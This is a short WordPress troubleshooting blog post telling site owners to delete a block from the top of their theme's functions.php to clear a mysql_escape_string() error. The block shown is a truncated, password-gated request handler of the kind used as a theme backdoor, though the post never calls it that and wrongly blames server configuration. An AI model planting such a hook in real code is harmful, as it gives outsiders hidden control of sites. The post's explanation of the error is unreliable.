Skip to main content


Fix Call to undefined function error

How to fix Call to undefined function error

Call to undefined function error is not related to wordpress. It is server configuration issue. Server administrator update PHP version for mysql. WordPress recommended update your theme in time. If not update your theme and facing above call to undefined function mysql_escape_string() in WordPress. To fix Call to undefined function error login your FTP account or goto file manager from cpanel. Open functions.php file from recent activated theme. Find the below code top of your functions.php file.

fix Call to undefined function error

<?php if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'ac0c91b2516f0331e5f5ec4cd54ab8fd'))---------------------------
------------------------------------------------------------------------
---------------------------
get_search_form();

get_sidebar();

get_footer();

}

exit;

}

?>

Please removed above code from your functions.php file and update on your server. Check your url, now it is working.

I hope this article helped you to ‘Fix Call to undefined function error’ from your recent activated theme. You can also list of the most important articles on Missing a Temporary Folder Error in WordPress, Fix Syntax Error in WordPress, 502 Bad Gateway Error, 504 Gateway Timeout Error and also Fix WordPress white screen of death error. YouTube Channel for WordPress Video Tutorials. You can also find us on social media platform like Twitter and Facebook.

One thought on “How to fix Call to undefined function error

Leave a Reply

Your email address will not be published. Required fields are marked *